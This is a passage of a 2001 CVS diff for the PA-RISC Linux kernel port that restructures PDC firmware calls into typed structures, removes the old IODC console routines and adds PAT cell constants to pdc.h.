-	retval = mem_pdc_call(PDC_MEM, PDC_MEM_TABLE, __pa(r_addr), __pa(tbl), entries);
-	convert_to_wide(r_addr);
 	return retval;
 }
 #endif
 
 
-static spinlock_t pdc_lock = SPIN_LOCK_UNLOCKED;
-
 /***************** 32-bit real-mode calls ***********/
 /* The struct below is used
  * to overlay real_stack (real2.S), preparing a 32-bit call frame.
@@ -364,17 +796,14 @@ struct narrow_stack {
 	/* in reality, there's nearly 8k of stack after this */
 };
 
-long real32_call(unsigned long fn, ...)
+static long real32_call(unsigned long fn, ...)
 {
 	va_list args;
-	unsigned long r, flags;
 	extern struct narrow_stack real_stack;
 	extern unsigned long real32_call_asm(unsigned int *,
 					     unsigned int *, 
 					     unsigned int);
 	
-	spin_lock_irqsave(&pdc_lock, flags);
-
 	va_start(args, fn);
 	real_stack.arg0 = va_arg(args, unsigned int);
 	real_stack.arg1 = va_arg(args, unsigned int);
@@ -391,11 +820,8 @@ long real32_call(unsigned long fn, ...)
 	real_stack.arg12 = va_arg(args, unsigned int);
 	real_stack.arg13 = va_arg(args, unsigned int);
 	va_end(args);
-	
-	r = real32_call_asm(&real_stack.sp, &real_stack.arg0, fn);
-	spin_unlock_irqrestore(&pdc_lock, flags);
 	
-	return r;
+	return real32_call_asm(&real_stack.sp, &real_stack.arg0, fn);
 }
 
 #ifdef __LP64__
@@ -421,17 +847,14 @@ struct wide_stack {
 	/* in reality, there's nearly 8k of stack after this */
 };
 
-long real64_call(unsigned long fn, ...)
+static long real64_call(unsigned long fn, ...)
 {
 	va_list args;
-	unsigned long r, flags;
 	extern struct wide_stack real_stack;
 	extern unsigned long real64_call_asm(unsigned long *,
 					     unsigned long *, 
 					     unsigned long);
     
-	spin_lock_irqsave(&pdc_lock, flags);
-
 	va_start(args, fn);
 	real_stack.arg0 = va_arg(args, unsigned long);
 	real_stack.arg1 = va_arg(args, unsigned long);
@@ -448,11 +871,8 @@ long real64_call(unsigned long fn, ...)
 	real_stack.arg12 = va_arg(args, unsigned long);
 	real_stack.arg13 = va_arg(args, unsigned long);
 	va_end(args);
-	
-	r = real64_call_asm(&real_stack.sp, &real_stack.arg0, fn);
-	spin_unlock_irqrestore(&pdc_lock, flags);
 	
-	return r;
+	return real64_call_asm(&real_stack.sp, &real_stack.arg0, fn);
 }
 
 #endif
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/inventory.c,v
retrieving revision 1.27
diff -u -p -r1.27 inventory.c
--- inventory.c	2001/03/02 10:31:49	1.27
+++ inventory.c	2001/03/29 07:57:51
@@ -7,7 +7,6 @@
 #include <asm/hardware.h>
 #include <asm/io.h>
 #include <asm/pdc.h>
-#include <asm/pdcpat.h>
 #include <asm/processor.h>
 #include <asm/page.h>
 
@@ -19,20 +18,16 @@
 
 int pdc_type = PDC_TYPE_ILLEGAL;
 
-static struct pdc_model model __attribute__ ((aligned(8)));
-#ifndef __LP64__
-static u8 iodc_data[32 * sizeof(long)] __attribute__ ((aligned(64)));
-static struct pdc_memory_map r_addr __attribute__ ((aligned(8)));
-#endif
-static unsigned long pdc_result[32] __attribute__ ((aligned(8)));
-static struct pdc_system_map_mod_info module_result  __attribute__ ((aligned(8)));
-static struct pdc_system_map_addr_info addr_result __attribute__ ((aligned(8)));
-static struct pdc_module_path module_path __attribute__ ((aligned(8)));
-
 void setup_pdc(void)
 {
 	long status;
 	unsigned int bus_id;
+	struct pdc_system_map_mod_info module_result;
+	struct pdc_module_path module_path;
+	struct pdc_model model;
+#ifdef __LP64__
+	struct pdc_pat_cell_num cell_info;
+#endif
 
 	/* Determine the pdc "type" used on this machine */
 
@@ -59,11 +54,11 @@ void setup_pdc(void)
 	 */
 
 #ifdef __LP64__
-	status = pdc_pat_cell_get_number(&pdc_result);
+	status = pdc_pat_cell_get_number(&cell_info);
 	if (status == PDC_RET_OK) {
-	    pdc_type = PDC_TYPE_PAT;
-	    printk("64 bit PDC PAT Box\n");
-	    return;
+		pdc_type = PDC_TYPE_PAT;
+		printk("64 bit PDC PAT Box\n");
+		return;
 	}
 #endif
 
@@ -166,12 +161,13 @@ void do_pagezero_memconfig(void)
 static int pat_query_module(ulong pcell_loc, ulong mod_index)
 {
 	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	unsigned long bytecnt;
 	unsigned long temp;	/* 64-bit scratch value */
 	long status;		/* PDC return value status */
 	struct hp_device *dev;
 
 	/* return cell module (PA or Processor view) */
-	status = pdc_pat_cell_module(&pdc_result, pcell_loc, mod_index,
+	status = pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
 				     PA_VIEW, &pa_pdc_cell);
 
 	if (status != PDC_RET_OK) {
@@ -254,7 +250,7 @@ static int pat_query_module(ulong pcell_
 
 static void do_pat_memconfig(void)
 {
-	struct pdc_pat_pd_addr_map_rtn r_addr;
+	unsigned long actual_len;
 	struct pdc_pat_pd_addr_map_entry mem_table[PAT_MAX_RANGES+1];
 	struct pdc_pat_pd_addr_map_entry *mtbl_ptr;
 	physmem_range_t *pmem_ptr;
@@ -266,10 +262,10 @@ static void do_pat_memconfig(void)
 	length = (unsigned long)(PAT_MAX_RANGES + 1)
 				* sizeof(struct pdc_pat_pd_addr_map_entry);
 
-	status = pdc_pat_pd_get_addr_map(&r_addr,mem_table,length,0L);
+	status = pdc_pat_pd_get_addr_map(&actual_len, mem_table, length, 0L);
 
 	if ((status != PDC_RET_OK)
-	    || ((r_addr.actual_len % sizeof(struct pdc_pat_pd_addr_map_entry)) != 0)) {
+	    || ((actual_len % sizeof(struct pdc_pat_pd_addr_map_entry)) != 0)) {
 
 		/* The above pdc call shouldn't fail, but, just in
 		 * case, just use the PAGE0 info.
@@ -280,7 +276,7 @@ static void do_pat_memconfig(void)
 		return;
 	}
 
-	entries = r_addr.actual_len / sizeof(struct pdc_pat_pd_addr_map_entry);
+	entries = actual_len / sizeof(struct pdc_pat_pd_addr_map_entry);
 
 	if (entries > PAT_MAX_RANGES) {
 		printk("This Machine has more memory ranges than we support!\n");
@@ -319,28 +315,25 @@ static void do_pat_memconfig(void)
 
 static int do_pat_inventory(void)
 {
-	ulong mod_index = 0;
 	int status;
-	ulong cell_num;
-	ulong pcell_loc;
+	ulong mod_index = 0;
+	struct pdc_pat_cell_num cell_info;
 
 	/*
 	** Note:  Prelude (and it's successors: Lclass, A400/500) only
 	**        implement PDC_PAT_CELL sub-options 0 and 2.
 	*/
-	status = pdc_pat_cell_get_number(&pdc_result);
+	status = pdc_pat_cell_get_number(&cell_info);
 	if (status != PDC_RET_OK) {
 		return 0;
 	}
 
-	cell_num = pdc_result[0];	/* Cell number call was made from */
-	pcell_loc = pdc_result[1];	/* Physical location of this cell */
-
 #ifdef DEBUG_PAT
-	printk("CELL_GET_NUMBER: 0x%lx 0x%lx\n", cell_num, pcell_loc);
+	printk("CELL_GET_NUMBER: 0x%lx 0x%lx\n", cell_info.cell_num, 
+	       cell_info.cell_loc);
 #endif
 
-	while (PDC_RET_OK == pat_query_module(pcell_loc, mod_index)) {
+	while (PDC_RET_OK == pat_query_module(cell_info.cell_loc, mod_index)) {
 		mod_index++;
 	}
 
@@ -441,6 +434,10 @@ int do_legacy_inventory(void)
 	int status;
 	unsigned int hw_type;
 	unsigned int func;
+	unsigned long bytecnt;
+	struct pdc_module_path module_path;
+	struct pdc_memory_map r_addr;
+	u8 iodc_data[32 * sizeof(long)];
 
 	/* This is undocumented at the time of writing, but basically 
 	** we're setting up mod_path so that bc[0..4]=0xff, and step
@@ -471,7 +468,7 @@ int do_legacy_inventory(void)
 			continue;
 		}
 
-		status = pdc_iodc_read(&pdc_result, (void *) r_addr.hpa, 0,
+		status = pdc_iodc_read(&bytecnt, (void *)r_addr.hpa, 0,
 				       &iodc_data, 32);
 		if (status != PDC_RET_OK)
 			continue;
@@ -617,6 +614,9 @@ static int do_system_map_inventory(void)
 	int i, j, num;
 	long status;
 	struct hp_device *hp_device;
+	struct pdc_system_map_mod_info module_result;
+	struct pdc_system_map_addr_info addr_result;
+	struct pdc_module_path module_path;
 
 	/* So the idea here is to simply try one SYSTEM_MAP call.  If 
 	** that one works, great, otherwise do it another way 
Index: arch/parisc/kernel/iosapic.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/iosapic.c,v
retrieving revision 1.22
diff -u -p -r1.22 iosapic.c
--- iosapic.c	2001/03/02 10:31:49	1.22
+++ iosapic.c	2001/03/29 07:57:51
@@ -169,7 +169,6 @@
 
 #include <asm/byteorder.h>	/* get in-line asm for swab */
 #include <asm/pdc.h>
-#include <asm/pdcpat.h>
 #include <asm/page.h>
 #include <asm/segment.h>
 #include <asm/system.h>
@@ -327,25 +326,22 @@ static size_t irt_num_entry;
 static int __init /* return number of entries as success/fail flag */
 iosapic_load_irt(unsigned long cell_num, struct irt_entry **irt)
 {
-	struct pdc_pat_io_num pdc_io_num; /* PDC return block */
 	long status;              /* PDC return value status */
 	struct irt_entry *table = NULL;  /* start of interrupt routing tbl */
 	unsigned long num_entries = 0UL;
 
 	ASSERT(NULL != irt);
-	/* FIXME ASSERT(((&pdc_io_num) & (0x3f)) == 0);  enforce 32-byte alignment */
 
 	if (is_pdc_pat()) {
 
 		/* Use pat pdc routine to get interrupt routing table size */
 		DBG(KERN_DEBUG "calling get_irt_size\n");
-		status = pdc_pat_get_irt_size( &pdc_io_num, cell_num);
+		status = pdc_pat_get_irt_size(&num_entries, cell_num);
 		DBG(KERN_DEBUG "get_irt_size: %ld\n", status);
 
 		ASSERT(status == PDC_RET_OK);
 
 		/* save the number of entries in the table */
-		num_entries = pdc_io_num.num;
 		ASSERT(0UL != num_entries);
 
 		/*
@@ -377,7 +373,7 @@ iosapic_load_irt(unsigned long cell_num,
 		return 0;
 	}
 
-	status = pdc_pci_irt_size( (void *)&pdc_io_num,
+	status = pdc_pci_irt_size(&num_entries,
 			/* elroy HPA (really a NOP) */ 0);
 	DBG(KERN_WARNING "pdc_pci_irt_size: %ld\n", status);
 
@@ -386,7 +382,6 @@ iosapic_load_irt(unsigned long cell_num,
 		return 0;
 	}
 
-	num_entries = pdc_io_num.num;
 	ASSERT(0UL != num_entries);
 
 	table = IOSAPIC_KALLOC(struct irt_entry, num_entries);
@@ -395,7 +390,7 @@ iosapic_load_irt(unsigned long cell_num,
 		return 0;
 	}
 
-	status = pdc_pci_irt( (void *) &pdc_io_num,
+	status = pdc_pci_irt(num_entries,
 			(void *) NULL, /* Elroy HPA - not used */
 			(void *) table);
 
Index: arch/parisc/kernel/lba_pci.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/lba_pci.c,v
retrieving revision 1.24
diff -u -p -r1.24 lba_pci.c
--- lba_pci.c	2001/03/11 07:05:58	1.24
+++ lba_pci.c	2001/03/29 07:57:52
@@ -42,7 +42,6 @@
 #include <asm/byteorder.h>
 #include <asm/irq.h>		/* for struct irq_region support */
 #include <asm/pdc.h>
-#include <asm/pdcpat.h>
 #include <asm/page.h>
 #include <asm/segment.h>
 #include <asm/system.h>
@@ -277,11 +276,6 @@ static u32 lba_t32;
 #define ROPES_PER_SBA	8
 #define LBA_NUM(x)    ((((unsigned long) x) >> 13) & (ROPES_PER_SBA-1))
 
-#ifdef __LP64__
-/* PDC_PAT */
-static  unsigned long pdc_result[32] __attribute__ ((aligned (8))) = {0,0,0,0};
-#endif
-
 /*
 ** One time initialization to let the world know the LBA was found.
 ** This is the only routine which is NOT static.
@@ -1040,6 +1034,7 @@ static struct pci_port_ops lba_pat_port_
 static void
 lba_pat_resources( struct hp_device *d, struct lba_device *lba_dev)
 {
+	unsigned long bytecnt;
 	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
 #ifdef DONT_NEED_THIS_FOR_ASTRO
 	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
@@ -1050,12 +1045,12 @@ lba_pat_resources( struct hp_device *d, 
 	int i;
 
 	/* return cell module (IO view) */
-	status = pdc_pat_cell_module(& pdc_result, d->pcell_loc, d->mod_index,
+	status = pdc_pat_cell_module(&bytecnt, d->pcell_loc, d->mod_index,
 				PA_VIEW, & pa_pdc_cell);
 	pa_count = pa_pdc_cell.mod[1];
 
 #ifdef DONT_NEED_THIS_FOR_ASTRO
-	status |= pdc_pat_cell_module(& pdc_result, d->pcell_loc, d->mod_index,
+	status |= pdc_pat_cell_module(&bytecnt, d->pcell_loc, d->mod_index,
 				IO_VIEW, & io_pdc_cell);
 	io_count = io_pdc_cell.mod[1];
 #endif
Index: arch/parisc/kernel/led.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/led.c,v
retrieving revision 1.15
diff -u -p -r1.15 led.c
--- led.c	2001/02/24 02:39:18	1.15
+++ led.c	2001/03/29 07:57:52
@@ -35,6 +35,7 @@
 #include <asm/hardware.h>
 #include <asm/param.h>		/* HZ */
 #include <asm/led.h>
+#include <asm/pdc.h>
 
 /* The control of the LEDs and LCDs on PARISC-machines have to be done 
    completely in software. The necessary calculations are done during every
@@ -486,7 +487,7 @@ int lcd_print( char *str )
 
 int __init led_init(void)
 {
-	long pdc_result[32];
+	struct pdc_chassis_info chassis_info;
 
 	/* Work around the buggy PDC of KittyHawk-machines */
 	switch (CPU_HVERSION) {
@@ -503,26 +504,26 @@ int __init led_init(void)
 		break;
 	}
 
-	/* initialize pdc_result, so we can check the return values of pdc_chassis_info() */
-	pdc_result[0] = pdc_result[1] = 0;
+	/* initialize raddr, so we can check the return values of pdc_chassis_info() */
+	chassis_info.actcnt = chassis_info.maxcnt = 0;
 
-	if (pdc_chassis_info(&pdc_result, &lcd_info, sizeof(lcd_info)) == PDC_OK) {
+	if (pdc_chassis_info(&chassis_info, &lcd_info, sizeof(lcd_info)) == PDC_OK) {
 		pr_debug("%s: chassis info: model=%d (%s), "
-			 "lcd_width=%d, cmd_delay=%u, ret0=%ld, ret1=%ld\n",
+			 "lcd_width=%d, cmd_delay=%u, actcnt=%ld, maxcnt=%ld\n",
 		         __FUNCTION__,
 			 lcd_info.model, 
 			 (lcd_info.model==DISPLAY_MODEL_LCD) ? "LCD" :
 			  (lcd_info.model==DISPLAY_MODEL_LASI) ? "LED" : "unknown",  
 			 lcd_info.lcd_width, lcd_info.min_cmd_delay, 
-			 pdc_result[0], pdc_result[1]);
+			 chassis_info.actcnt, chassis_info.maxcnt);
 
 		/* check the results. Some machines have a buggy PDC */
-		if (pdc_result[0] <= 0 || pdc_result[0] != pdc_result[1])
+		if (chassis_info.actcnt <= 0 || chassis_info.actcnt != chassis_info.maxcnt)
 			goto not_found;
 
 		switch (lcd_info.model) {
 		case DISPLAY_MODEL_LCD:		/* LCD display */
-			if (pdc_result[0] < 
+			if (chassis_info.actcnt < 
 			    (unsigned long)&lcd_info._pad - (unsigned long)&lcd_info - 1)
 				 goto not_found;
 			pr_debug("%s: min_cmd_delay = %d uS\n",
@@ -533,7 +534,7 @@ int __init led_init(void)
 			goto not_found;
 
 		case DISPLAY_MODEL_LASI:	/* Lasi style 8 bit LED display */
-			if (pdc_result[0] != 8 && pdc_result[0] != 32)
+			if (chassis_info.actcnt != 8 && chassis_info.actcnt != 32)
 				goto not_found;
 			break;
 
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.24
diff -u -p -r1.24 pdc_cons.c
--- pdc_cons.c	2001/03/08 13:30:33	1.24
+++ pdc_cons.c	2001/03/29 07:57:52
@@ -11,89 +11,10 @@
 #include <asm/system.h>
 #include <asm/pdc.h>	/* for iodc_call() proto and friends */
 
-static int __attribute__((aligned(8)))   iodc_retbuf[32];
-static char __attribute__((aligned(64))) iodc_dbuf[4096];
-
-/*
- * pdc_putc:
- * Console character print using IODC.
- *
- * Note that only these special chars are architected for console IODC io:
- * BEL, BS, CR, and LF. Others are passed through.
- * Since the HP console requires CR+LF to perform a 'newline', we translate
- * "\n" to "\r\n".
- */
-
-static int posx;	/* for simple TAB-Simulation... */
-
-/* XXX Should we spinlock posx usage */
-
-void pdc_putc(unsigned char c)
-{
-	unsigned int n;
-
-	switch (c) {
-	case '\n':
-		iodc_dbuf[0] = '\r'; 
-		iodc_dbuf[1] = '\n';
-               	n = 2;
-               	posx = 0;
-		break;
-	case '\t':
-		pdc_putc(' ');
-		while (posx & 7) 	/* expand TAB */
-			pdc_putc(' ');
-		return;		/* return since IODC can't handle this */
-	case '\b':
-		posx-=2;		/* BS */
-	default:
-		iodc_dbuf[0] = c;
-		n = 1;
-		posx++;
-		break;
-	}
-	{
-		real32_call(PAGE0->mem_cons.iodc_io,
-			(unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
-			PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
-			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
-	}
-}
-
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
 	while(count--)
-		pdc_putc(*s++);
-}
-
-int pdc_console_wait_key(struct console *co)
-{
-	int ch = 'X';
-	int status;
-
-	/* Bail if no console input device. */
-	if (!PAGE0->mem_kbd.iodc_io)
-		return 0;
-	
-	/* wait for a keyboard (rs232)-input */
-	do {
-		unsigned long flags;
-
-		save_flags(flags);
-		cli();
-		status = real32_call(PAGE0->mem_kbd.iodc_io,
-			(unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
-			PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
-			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
-		restore_flags(flags);
-		ch = *iodc_dbuf;	/* save the character directly to ch */
-	} while (*iodc_retbuf == 0);	/* wait for a key */
-	return ch;
-}
-
-int pdc_getc(void)
-{
-	return pdc_console_wait_key(NULL);
+		pdc_iodc_putc(*s++);
 }
 
 static int pdc_console_setup(struct console *co, char *options)
@@ -106,7 +27,7 @@ static struct console pdc_cons = {
 	write:		pdc_console_write,
 	read:		NULL,
 	device:		NULL, 
-	wait_key:	pdc_console_wait_key,
+	wait_key:	NULL,
 	unblank:	NULL,
 	setup:		pdc_console_setup,
 	flags:		CON_BOOT|CON_PRINTBUFFER|CON_ENABLED,  // |CON_CONSDEV,
Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.34
diff -u -p -r1.34 process.c
--- process.c	2001/02/23 07:02:01	1.34
+++ process.c	2001/03/29 07:57:52
@@ -113,15 +113,12 @@ void machine_restart(char *cmd)
 		** memory self tests. (Not implemented yet)
 		*/
 		if (ftc_bitmap) {
-			mem_pdc_call( PDC_BROADCAST_RESET,
-				PDC_DO_FIRM_TEST_RESET, PDC_FIRM_TEST_MAGIC,
-				ftc_bitmap);
+			pdc_do_firm_test_reset(ftc_bitmap);
 		}
 #endif
 
 		/* "Normal" system reset */
-		(void) mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_RESET,
-			0L, 0L, 0L);
+		pdc_do_reset();
 
 		/* Nope...box should reset with just CMD_RESET now */
 		gsc_writel(CMD_RESET, COMMAND_GLOBAL);
Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/setup.c,v
retrieving revision 1.80
diff -u -p -r1.80 setup.c
--- setup.c	2001/03/22 06:46:32	1.80
+++ setup.c	2001/03/29 07:57:52
@@ -60,7 +60,6 @@
 #include <asm/machdep.h>	/* for pa7300lc_init() proto */
 
 #include <asm/irq.h>		/* for struct irq_region */
-#include <asm/pdcpat.h>		/* for PA_VIEW PDC_PAT_CPU_GET_NUMBER etc */
 
 #include <linux/proc_fs.h>
 
@@ -128,12 +127,13 @@ cpu_driver_callback(struct hp_device *d,
 
 #ifdef __LP64__
 	if (is_pdc_pat()) {
-		unsigned long pdc_result[32] __attribute__ ((aligned (8))) = {0,0,0,0};
 		ulong status;
+		unsigned long bytecnt;
 	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+		struct pdc_pat_cpu_num cpu_info;
 
-		status = pdc_pat_cell_module(& pdc_result, d->pcell_loc,
-			d->mod_index, PA_VIEW, & pa_pdc_cell);
+		status = pdc_pat_cell_module(&bytecnt, d->pcell_loc,
+			d->mod_index, PA_VIEW, &pa_pdc_cell);
 
 		ASSERT(PDC_RET_OK == status);
 
@@ -145,21 +145,20 @@ cpu_driver_callback(struct hp_device *d,
 		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
 
 		/* get the cpu number */
-		status = mem_pdc_call( PDC_PAT_CPU, PDC_PAT_CPU_GET_NUMBER,
-				__pa(& pdc_result), d->hpa);
+		status = pdc_pat_cpu_get_number(&cpu_info, d->hpa);
 
 		ASSERT(PDC_RET_OK == status);
 
-		if(pdc_result[0] >= NR_CPUS) {
+		if(cpu_info.cpu_num >= NR_CPUS) {
 			printk(KERN_WARNING "IGNORING CPU at 0x%p,"
 				" cpu_slot_id > NR_CPUS"
 				" (%ld > %d)\n",
-				d->hpa, pdc_result[0], NR_CPUS);
+				d->hpa, cpu_info.cpu_num, NR_CPUS);
 			/* Ignore CPU since it will only crash */
 			boot_cpu_data.cpu_count--;
 			return(1);
 		} else {
-			cpuid = pdc_result[0];
+			cpuid = cpu_info.cpu_num;
 		}
 	} else
 #endif
@@ -243,14 +242,14 @@ void __init collect_boot_cpu_data(void)
 #undef p
 
 	if(pdc_model_versions(&boot_cpu_data.pdc.versions, 0)==0)
-		printk("vers	%08lx\n", boot_cpu_data.pdc.versions.cpuid);
+		printk("vers	%08lx\n", boot_cpu_data.pdc.versions);
 
 	if(pdc_model_cpuid(&boot_cpu_data.pdc.cpuid)==0)
-		printk("cpuid	%08lx\n", boot_cpu_data.pdc.cpuid.cpuid);
+		printk("cpuid	%08lx\n", boot_cpu_data.pdc.cpuid);
 
 	printk("CPUID	vers %ld rev %ld\n",
-		(boot_cpu_data.pdc.cpuid.cpuid >> 5) & 127,
-		boot_cpu_data.pdc.cpuid.cpuid & 31);
+		(boot_cpu_data.pdc.cpuid >> 5) & 127,
+		boot_cpu_data.pdc.cpuid & 31);
 
 	if (pdc_model_sysmodel(boot_cpu_data.pdc.sys_model_name)==0)
 		printk("model	%s\n",boot_cpu_data.pdc.sys_model_name);
@@ -282,31 +281,22 @@ void __init collect_boot_cpu_data(void)
 int
 init_per_cpu(int cpuid)
 {
-	unsigned long pdc_result[32] __attribute__ ((aligned (8)));
-	unsigned long ccr;
 	int ret;
+	struct pdc_coproc_cfg coproc_cfg;
 
-	/*
-	** ret[0] == Functional Coprocessors
-	** ret[1] == Coprocessors Present
-	** ret[15] == FP test status
-	** ret[17] == Revision
-	** ret[18] == Model
-	*/
-	ret = pdc_coproc_cfg(&pdc_result);
-	ccr = pdc_result[0];
+	ret = pdc_coproc_cfg(&coproc_cfg);
 
-	if(ret >= 0 && ccr) {
-		mtctl(ccr, 10);  /* 10 == Coprocessor Control Reg */
+	if(ret >= 0 && coproc_cfg.ccr_functional) {
+		mtctl(coproc_cfg.ccr_functional, 10);  /* 10 == Coprocessor Control Reg */
 
 		/* FWIW, FP rev/model is a more accurate way to determine
 		** CPU type. CPU rev/model has some ambiguous cases.
 		*/
-		cpu_data[cpuid].fp_rev = pdc_result[17];
-		cpu_data[cpuid].fp_model = pdc_result[18];
+		cpu_data[cpuid].fp_rev = coproc_cfg.revision;
+		cpu_data[cpuid].fp_model = coproc_cfg.model;
 
 		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
-			cpuid, pdc_result[17], pdc_result[18]);
+			cpuid, coproc_cfg.revision, coproc_cfg.model);
 
 		/*
 		** store status register to stack (hopefully aligned)
@@ -316,11 +306,11 @@ init_per_cpu(int cpuid)
 
 	} else {
 		printk(KERN_WARNING  "WARNING: No FP CoProcessor?!"
-			" (pdc_result[0] == 0x%lx, expected 0xc0)\n"
+			" (coproc_cfg.ccr_functional == 0x%lx, expected 0xc0)\n"
 #ifdef __LP64__
 			"Halting Machine - FP required\n"
 #endif
-			,ccr);
+			, coproc_cfg.ccr_functional);
 #ifdef __LP64__
 		mdelay(100);	/* previous chars get pushed to console */
 		panic("FP CoProc not reported");
@@ -405,6 +395,8 @@ void __init setup_arch(char **cmdline_p)
 	"32"
 #endif
 	"-bit Kernel has started...\n");
+
+	pdc_console_init();
 
 #ifdef CONFIG_PDC_NARROW
 	printk("Kernel is using PDC in 32-bit mode.\n");
Index: arch/parisc/kernel/time.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/time.c,v
retrieving revision 1.10
diff -u -p -r1.10 time.c
--- time.c	2001/01/24 23:59:51	1.10
+++ time.c	2001/03/29 07:57:52
@@ -37,7 +37,6 @@ extern rwlock_t xtime_lock;
 
 static long clocktick;	/* timer cycles per tick */
 static long halftick;
-static struct pdc_tod tod_data __attribute__((aligned(8)));
 
 void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
 {
@@ -163,6 +162,7 @@ do_settimeofday (struct timeval *tv)
 void __init time_init(void)
 {
 	unsigned long next_tick;
+	static struct pdc_tod tod_data;
 
 	clocktick = (100 * PAGE0->mem_10msec) / HZ;
 	halftick = clocktick / 2;
Index: drivers/char/genrtc.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/char/genrtc.c,v
retrieving revision 1.5
diff -u -p -r1.5 genrtc.c
--- genrtc.c	2001/02/08 06:20:15	1.5
+++ genrtc.c	2001/03/29 07:57:53
@@ -102,7 +102,7 @@ static const unsigned short int __mon_yd
 
 static int get_hw_time(struct rtc_time *wtime)
 {
-	struct pdc_tod tod_data __attribute__((aligned(8)));
+	struct pdc_tod tod_data;
 	long int days, rem, y;
 	const unsigned short int *ip;
 
Index: drivers/net/lasi_82596.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/net/lasi_82596.c,v
retrieving revision 1.15
diff -u -p -r1.15 lasi_82596.c
--- lasi_82596.c	2001/01/25 00:01:15	1.15
+++ lasi_82596.c	2001/03/29 07:57:53
@@ -1160,7 +1160,7 @@ static int __init i82596_probe(struct ne
 	if (!dev->base_addr || !dev->irq)
 	    return -ENODEV;
 
-	if (!pdc_lan_station_id( (char*)&eth_addr, (void*)dev->base_addr)) {
+	if (pdc_lan_station_id( (char*)&eth_addr, (void*)dev->base_addr)) {
 	    for(i=0;i<6;i++)
 		eth_addr[i] = gsc_readb(LAN_PROM_ADDR+i);
 	    printk("82596.c: MAC of HP700 LAN blindely read from the prom!\n");
Index: drivers/scsi/zalon7xx.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/scsi/zalon7xx.c,v
retrieving revision 1.5
diff -u -p -r1.5 zalon7xx.c
--- zalon7xx.c	2001/03/04 19:27:05	1.5
+++ zalon7xx.c	2001/03/29 07:57:57
@@ -79,6 +79,14 @@ int zalon7xx_detect(Scsi_Host_Template *
 	return (hosts_used != 0);
 }
 
+#if 0
+/* FIXME:
+ * Is this function dead code? or is someone planning on using it in the
+ * future.  The clock = (int) pdc_result[16] does not look correct to
+ * me ... I think it should be iodc_data[16].  Since this cause a compile
+ * error with the new encapsulated PDC, I'm not compiling in this function.
+ * - RB
+ */
 /* poke SCSI clock out of iodc data */
 static int 
 lasi_scsi_clock(void * hpa, int defaultclock)
@@ -96,6 +104,7 @@ lasi_scsi_clock(void * hpa, int defaultc
 	printk(KERN_DEBUG __FUNCTION__ ": SCSI clock %d\n", clock);
  	return clock;
 }
+#endif
 
 static int __init
 zalon_scsi_callback(struct hp_device *d, struct pa_iodc_driver *dri)
Index: drivers/video/sti/sticore.h
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/sti/sticore.h,v
retrieving revision 1.7
diff -u -p -r1.7 sticore.h
--- sticore.h	2001/02/18 22:24:40	1.7
+++ sticore.h	2001/03/29 07:57:57
@@ -46,7 +46,7 @@
 
 #define STI_CALL(func, flags, inptr, outptr, glob_cfg) \
 	({	 						\
-		real32_call( func, (unsigned long)STI_PTR(flags), \
+		pdc_sti_call( func, (unsigned long)STI_PTR(flags), \
 				    STI_PTR(inptr), STI_PTR(outptr), \
 				    glob_cfg); \
 	})
Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/pdc.h,v
retrieving revision 1.28
diff -u -p -r1.28 pdc.h
--- pdc.h	2001/03/22 16:24:19	1.28
+++ pdc.h	2001/03/29 07:57:59
@@ -178,6 +178,184 @@ compatibility */
 #define OSTAT_RUN		      6
 #define OSTAT_ON		       7
 
+#ifdef __LP64__
+/* PDC PAT CELL */
+#define PDC_PAT_CELL           	64L   /* Interface for gaining and 
+                                         * manipulatin g cell state within PD */
+#define PDC_PAT_CELL_GET_NUMBER    0L   /* Return Cell number */
+#define PDC_PAT_CELL_GET_INFO      1L   /* Returns info about Cell */
+#define PDC_PAT_CELL_MODULE        2L   /* Returns info about Module */
+#define PDC_PAT_CELL_SET_ATTENTION 9L   /* Set Cell Attention indicator */
+#define PDC_PAT_CELL_NUMBER_TO_LOC 10L   /* Cell Number -> Location */
+#define PDC_PAT_CELL_WALK_FABRIC   11L   /* Walk the Fabric */
+#define PDC_PAT_CELL_GET_RDT_SIZE  12L   /* Return Route Distance Table Sizes */
+#define PDC_PAT_CELL_GET_RDT       13L   /* Return Route Distance Tables */
+#define PDC_PAT_CELL_GET_LOCAL_PDH_SZ 14L /* Read Local PDH Buffer Size */
+#define PDC_PAT_CELL_SET_LOCAL_PDH    15L  /* Write Local PDH Buffer */
+#define PDC_PAT_CELL_GET_REMOTE_PDH_SZ 16L /* Return Remote PDH Buffer Size */
